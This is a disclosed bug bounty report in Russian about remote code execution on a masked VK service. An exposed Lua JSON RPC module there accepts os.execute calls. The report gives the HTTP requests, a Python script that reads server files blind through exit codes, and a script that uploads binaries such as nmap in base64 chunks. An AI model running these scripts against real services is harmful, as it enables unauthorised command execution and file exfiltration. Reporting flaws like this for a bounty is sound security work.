RCE на '{%mask_value%}.'{%mask_value%}.org
'{%mask_value%}
.'{%mask_value%}
.orgСервис https://
'{%mask_value%}
.'{%mask_value%}
.org уязвим RCE через модуль https://github.com/'{%mask_value%}
/'{%mask_value%}
Этот модуль включает JSON RPC API через http, однако вызываемый метод lua никак не валидируется, так что становится возможным выполнить например os.execute:
POST /##### HTTP/1.1 Host: #####.#####.org User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 {"method":"os.execute","params":["exit 1"],"id":1} Response: {"id":1,"result":[[256]]}
По разным ответам на разные команды и по другим косвенным признакам я понял, что команды исполняются, но вывода результата нет, альтернативный метод io.popen тоже не дает вывод.
Метод os.execute в ответ возвращает exit status code процесса, этого достаточно чтобы написать PoC скрипт для чтения результатов из файла:
import requests import sys def get_byte(file_name, offset): cmd = f"char=$(dd if={file_name} bs=1 skip={offset} count=1 2>/dev/null); exit $(printf '%d' \"'$char'\")" data = { "method": "os.execute", "params": [cmd], "id": offset } response = requests.post('https://#####.#####.org/#####', json=data) response_json = response.json() if 'result' in response_json and len(response_json['result']) > 0: # Retrieve the first element from the inner list exit_code = response_json['result'][0][0] return int(exit_code / 256) return None def read_file(file_name): content = [] offset = 0 spaces = 0 while True: byte_val = get_byte(file_name, offset) if byte_val is None: break char = chr(byte_val) if char == "'": spaces = spaces + 1 char = '\n' else: spaces = 0 print(char, end='', flush=True) content.append(chr(byte_val)) offset += 1 if spaces > 15: break return ''.join(content) if __name__ == '__main__': if len(sys.argv) != 2: print("Usage: python script_name.py file_name") sys.exit(1) file_name = sys.argv[1] read_file(file_name) # I removed the print(content) here
Например вывод для ls -la
POST /##### HTTP/1.1 Host: #####.#####.org User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 76 Origin: https://#####.#####.org Referer: https://#####.#####.org/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers Connection: close {"method":"os.execute","params":[ "ls -la > /tmp/test 2>&1" ],"id":1}
alex@Alexs-MacBook-Pro ##### % python3.11 read_file.py /tmp/test total 39772 drwxr-xr-x 2 ##### ##### 4096 Nov 23 2017 . drwxr-xr-x 3 root root 4096 Mar 3 2017 .. -rw-r--r-- 1 root root 1506 May 23 2017 #####.lua -rw------- 1 ##### ##### 1108774912 Jun 8 11:43 core.1
Так же я написал PoC для закачивания файлов на сервер (изнутри нет интернета) и для примера закачал nmap
import requests import base64 import os import sys def send_chunk_via_rpc(chunk_base64, offset, remote_file): cmd = f'echo "{chunk_base64}" | base64 -d | dd of={remote_file} bs=1 seek={offset} conv=notrunc 2>/dev/null' data = { "method": "os.execute", "params": [cmd], "id": offset } response = requests.post('https://#####.#####.org/#####', json=data) if response.status_code != 200: print(f"Failed to send chunk at offset {offset}") return response.status_code == 200 def send_file(local_file, remote_file): chunk_size = 4096 # Define your desired chunk size total_size = os.path.getsize(local_file) num_chunks = (total_size + chunk_size - 1) // chunk_size with open(local_file, "rb") as file: offset = 0 for i in range(num_chunks): chunk_binary = file.read(chunk_size) if not chunk_binary: break chunk_base64 = base64.b64encode(chunk_binary).decode('utf-8') success = send_chunk_via_rpc(chunk_base64, offset, remote_file) if not success: print("Failed to send file. Aborting.") break # Display progress print(f"Sent chunk {i+1}/{num_chunks}", end='\r') offset += chunk_size print("\nTransfer complete.") if __name__ == '__main__': if len(sys.argv) != 3: print("Usage: python script_name.py local_file_path remote_file_path") sys.exit(1) local_file = sys.argv[1] remote_file = sys.argv[2] send_file(local_file, remote_file)
nmap можно найти в папке /tmp
Reward
₽120,000
Other Products
VK
Report No.: 3265
Created: October 13, 2023, 15:35
Disclosed: March 28, 11:46
Status: Fixed
Type: Vulnerability
Severity:
Critical
Author:cutoffurmind